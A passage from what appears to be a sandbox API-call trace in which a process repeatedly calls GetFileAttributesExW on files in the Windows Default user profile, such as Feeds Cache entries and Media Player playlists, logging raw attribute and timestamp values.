ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43)) returned 1 [0129.768] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfe5d07c0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5d07c0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43)) returned 1 [0129.768] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\fwlink[1]"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5aa660, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5aa660, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0129.769] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\fwlink[1]"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5aa660, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5aa660, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0129.770] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfe5aa660, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5aa660, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43)) returned 1 [0129.770] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfe5aa660, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5aa660, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43)) returned 1 [0129.770] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\fwlink[1]"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5aa660, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5aa660, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0129.771] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\fwlink[1]"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5aa660, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5aa660, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0129.775] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb"), fInfoLevelId=0x0, lpFileInformation=0x1edb50 | out: lpFileInformation=0x1edb50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5aa660, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5aa660, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd8679d27, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x105000)) returned 1 [0129.780] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb"), fInfoLevelId=0x0, lpFileInformation=0x1edb50 | out: lpFileInformation=0x1edb50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5aa660, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5aa660, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd8679d27, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x105000)) returned 1 [0129.780] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb"), fInfoLevelId=0x0, lpFileInformation=0x1edb50 | out: lpFileInformation=0x1edb50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5aa660, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5aa660, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd856f385, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1106c)) returned 1 [0129.781] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb"), fInfoLevelId=0x0, lpFileInformation=0x1edb50 | out: lpFileInformation=0x1edb50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5aa660, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5aa660, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd856f385, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1106c)) returned 1 [0129.823] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1ed940 | out: lpFileInformation=0x1ed940*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5aa660, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5aa660, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x414)) returned 1 [0129.824] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1ed940 | out: lpFileInformation=0x1ed940*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5aa660, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5aa660, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x414)) returned 1 [0129.824] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1ed940 | out: lpFileInformation=0x1ed940*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5aa660, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5aa660, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4ff)) returned 1 [0129.825] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1ed940 | out: lpFileInformation=0x1ed940*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5aa660, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5aa660, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4ff)) returned 1 [0129.825] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1ed940 | out: lpFileInformation=0x1ed940*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5aa660, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5aa660, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4f3)) returned 1 [0129.825] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1ed940 | out: lpFileInformation=0x1ed940*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5aa660, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5aa660, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4f3)) returned 1 [0129.826] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1ed940 | out: lpFileInformation=0x1ed940*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5aa660, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5aa660, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x504)) returned 1 [0129.826] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1ed940 | out: lpFileInformation=0x1ed940*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5aa660, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5aa660, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x504)) returned 1 [0129.826] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1ed940 | out: lpFileInformation=0x1ed940*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5aa660, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5aa660, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x31d)) returned 1 [0129.827] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1ed940 | out: lpFileInformation=0x1ed940*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5aa660, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5aa660, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x31d)) returned 1 [0129.827] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1ed940 | out: lpFileInformation=0x1ed940*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5aa660, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5aa660, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x311)) returned 1 [0129.827] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1ed940 | out: lpFileInformation=0x1ed940*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5aa660, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5aa660, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x311)) returned 1 [0129.827] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1ed940 | out: lpFileInformation=0x1ed940*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe584500, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe584500, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x410)) returned 1 [0129.828] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1ed940 | out: lpFileInformation=0x1ed940*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe584500, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe584500, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x410)) returned 1 [0129.828] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1ed940 | out: lpFileInformation=0x1ed940*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe584500, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe584500, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x3fc)) returned 1 [0129.829] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1ed940 | out: lpFileInformation=0x1ed940*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe584500, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe584500, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x3fc)) returned 1 [0129.829] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1ed940 | out: lpFileInformation=0x1ed940*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe584500, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe584500, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x401)) returned 1 [0129.831] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1ed940 | out: lpFileInformation=0x1ed940*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe584500, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe584500, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x401)) returned 1 [0129.831] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1ed940 | out: lpFileInformation=0x1ed940*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe584500, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe584500, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x427)) returned 1 [0129.831] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1ed940 | out: lpFileInformation=0x1ed940*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe584500, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe584500, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x427)) returned 1 [0129.832] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1ed940 | out: lpFileInformation=0x1ed940*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe584500, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe584500, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x249)) returned 1 [0129.832] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1ed940 | out: lpFileInformation=0x1ed940*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe584500, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe584500, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x249)) returned 1 [0129.832] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1ed940 | out: lpFileInformation=0x1ed940*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe584500, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe584500, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x437)) returned 1 [0129.833] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1ed940 | out: lpFileInformation=0x1ed940*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe584500, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe584500, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x437)) returned 1 [0129.878] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\users\\default\\appdata\\local\\temp\\fxsapidebuglogfile.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edc00 | out: lpFileInformation=0x1edc00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe2b0ae0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe2b0ae0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0x77398c9, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0129.879] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" (normalized: 